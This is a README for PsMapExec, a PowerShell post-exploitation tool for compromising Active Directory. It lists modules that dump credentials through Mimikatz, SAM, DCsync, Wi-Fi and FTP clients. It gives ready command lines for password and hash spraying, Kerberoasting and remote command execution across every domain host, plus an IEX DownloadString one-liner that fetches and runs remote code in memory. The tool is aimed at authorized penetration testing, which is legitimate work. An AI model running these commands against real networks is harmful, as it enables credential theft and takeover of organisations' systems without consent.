Awesome

What is PsMapExec

A PowerShell tool heavily inspired by the popular tool CrackMapExec / NetExec. PsMapExec aims to bring the function and feel of these tools to PowerShell with its own arsenal of improvements.

PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.

For any feedback or suggestions for additions to PsMapExec please use the discussion forum:

https://github.com/The-Viper-One/PsMapExec/discussions

How do I use it

It is highly recommended to go through the documentation listed below to get the most out of PsMapExec. If you do not feel like reading the documentation then simply go to the Usage section further down this document.

What methods does it support

Currently supported methods (Protocols)

Method	Description
IPMI	Dump IPMI hashes
Kerberoast	Kerberoast accounts
MSSQL	Check access, run commands
RDP	Check access
SMB	Check access, run commands
GenRelayList	Check SMB signing status
Spray	Spray passwords and hashes
SessionHunter	Check access, run commands
VNC	Check no auth access
WinRM	Check access, run commands
WMI	Check access, run commands

Supported Modules

Module	Description
Amnesiac	Executes Amnesiac C2 payloads
ConsoleHistory	Dumps PowerShell console history
Files	Lists files in common directories for each user
FileZilla	Dumps Filezilla credentials
KerbDump	Dumps Kerberos tickets
eKeys	Dumps encryption keys from memory (Mimikatz)
LogonPasswords	Dumps logon passwords from memory (Mimikatz)
LSA	Dumps LSA (Mimikatz)
NTDS	Executes DCsync on the remote system
Notepad	Dumps notepad backup files
NTLM	Grabs a NTLM hash for each user logon session
SAM	Dumps SAM hashes
SCCM	Dumps local NAA credentials and task sequences
SessionExec	Executes commands under each user logon session
SessionRelay	Relay NTLM hashes under each user logon session
TGTDeleg	Grab a fresh TGT under each user logon session
VNC	Dumps VNC credentials
Wi-Fi	Dumps Wi-Fi credentials
WinSCP	Dumps WinSCP credentials

Usage

Load the script directly into memory

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

Quick examples

# Execute WMI commands over all systems in the domain using password authentication
 PsMapExec -Targets all -Method WMI -Username Admin -Password Pass -Command whoami

# Execute WinRM commands over all systems in the domain using hash authentication
PsMapExec -Targets all -Method WinRM -Username Admin -Hash [Hash] -Command whoami

# Check RDP Access against workstations in the domain and using local authentication
PsMapExec -Targets Workstations -Method RDP -Username LocalAdmin -Password Pass -LocalAuth
 
# Dump SAM on a single system using SMB and a -ticket for authentication
PsMapExec -Targets DC01.Security.local -Method SMB -Ticket [Base64-Ticket] -Module SAM

# Check SMB Signing on all domain systems
PsMapExec -Targets All -Method GenRelayList

# Dump LogonPasswords on all Domain Controllers over WinRM
PsMapExec -Targets DCs -Method WinRM -Username Admin -Password Pass -Module LogonPasswords

# Use WMI to check current user admin access from systems read from a text file
PsMapExec -Targets C:\temp\Systems.txt -Method WMI

# Spray passwords across all accounts in the domain
PsMapExec -Method Spray -SprayPassword [Password]

# Spray Hashes across all accounts in the domain that have AdminCount=1
PsMapExec -Targets "AdminCount=1" -Method Spray -SprayHash [Hash]

# Spray Hashes across all Domain Admin group users
PsMapExec -Targets "Domain Admins" -Method Spray -SprayHash [Hash]

# Kerberoast 
PsMapExec -Method Kerberoast -ShowOutput

# IPMI
PsMapExec -Targets 192.168.1.0/24 -Method IPMI

Targets Acquisition

Target acquisition through PsMapExec is utilized through ADSI Searcher. As long as you are operating from a domain joined system as a domain user account, no issues should be encountered when acquiring targets. By default only enabled Active Directory computer accounts are populated into the target list. PsMapExec will set the Domain to the current user domain unless -Domain is specified. IP address targeting is less preffered than using the built in ldap queries.

# All workstations, servers and domain controllers within the domain
PsMapExec -Targets All

# All workstations, servers and domain controllers on the specified domain
PsMapExec -Targets All -Domain [Domain]

# Only servers from the domain (exluding DCs)
PsMapExec -Targets Servers

# Only Domain Controllers from the domain
PsMapExec -Targets DCs

# Only workstations from the domain
PsMapExec -Targets Workstations

# Set the target values to a defined computer name
PsMapExec -Targets DC01.Security.local

# Read targets from file
PsMapExec -Targets "C:\Targets.txt"

# Wildcard filtering
PsMapExec -Targets SRV*

# Single IP Address
PsMapExec -Targets 192.168.56.11

# CIDR Range
PsMapExec -Targets 192.168.56.0/24

Authentication Types

When -Command and -Module are omitted, PsMapExec will simply check the provided or current user credentials against the specified target systems for administrative access over the specified method.

# Current user
PsMapExec -Targets All -Method [Method]

# With Password
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]

# With Hash
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256/NTLM]

# With Ticket
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]

# Local Authentication (WMI only)
PsMapExec -Targets All -Method WMI -LocalAuth

Command Execution

All currently supported command execution methods support the -Command parameter. The command parameter can be appended to the above Authentication Types to execute given commands as a specified or the current user.

PsMapExec -Targets All -Method [Method] -Command [Command]

Module Execution

All currently supported command execution methods support the -Module parameter. The module parameter can be appended to the Authentication Types to execute given modules as a specified or the current user.

PsMapExec -Targets All -Method [Method] -Module [Module]

A list of modules is linked below in the Detailed Usage section.

Detailed Usage

Acknowledgements

https://github.com/Leo4j (A good friend and excellent pentester who has helped me with the code)
https://github.com/GhostPack/Rubeus
https://github.com/gentilkiwi/mimikatz
https://github.com/OneScripter/WmiExec
https://github.com/MzHmO/PowershellKerberos
https://github.com/Kevin-Robertson/Inveigh
https://github.com/Mayyhem/SharpSCCM
https://github.com/tmenochet
https://github.com/elnerd/Get-NetNTLM

Dependencies

Since version 0.6.0 PsMapExec now no longer has any external script dependencies apart from the Amnesiac module which will be resolved in a future update. PsMapExec can now, otherwise be run in restricted environments such as exam labs or CTF machines.

Disclaimer

PsMapExec is designed primarily for research, educational, and authorized testing scenarios. The purpose of developing and distributing PsMapExec is to provide professionals and researchers with a tool to understand and identify vulnerabilities and to bolster the security of systems. It is fundamentally imperative that users ensure they have obtained explicit, mutual consent from all involved parties before applying this tool on any system, network, or digital environment.

Engaging in unauthorized activities, including, but not limited to, accessing systems without permission, can lead to severe legal consequences. Users must be fully aware of, and adhere to, all their jurisdictional, local, state, and federal laws and regulations concerning cybersecurity and digital access.

The developers and contributors of PsMapExec expressly disclaim all liabilities and responsibilities for any unauthorized or illicit use of the tool. Additionally, they are not responsible for any consequent damages, losses, or repercussions stemming from the misuse or misapplication of PsMapExec.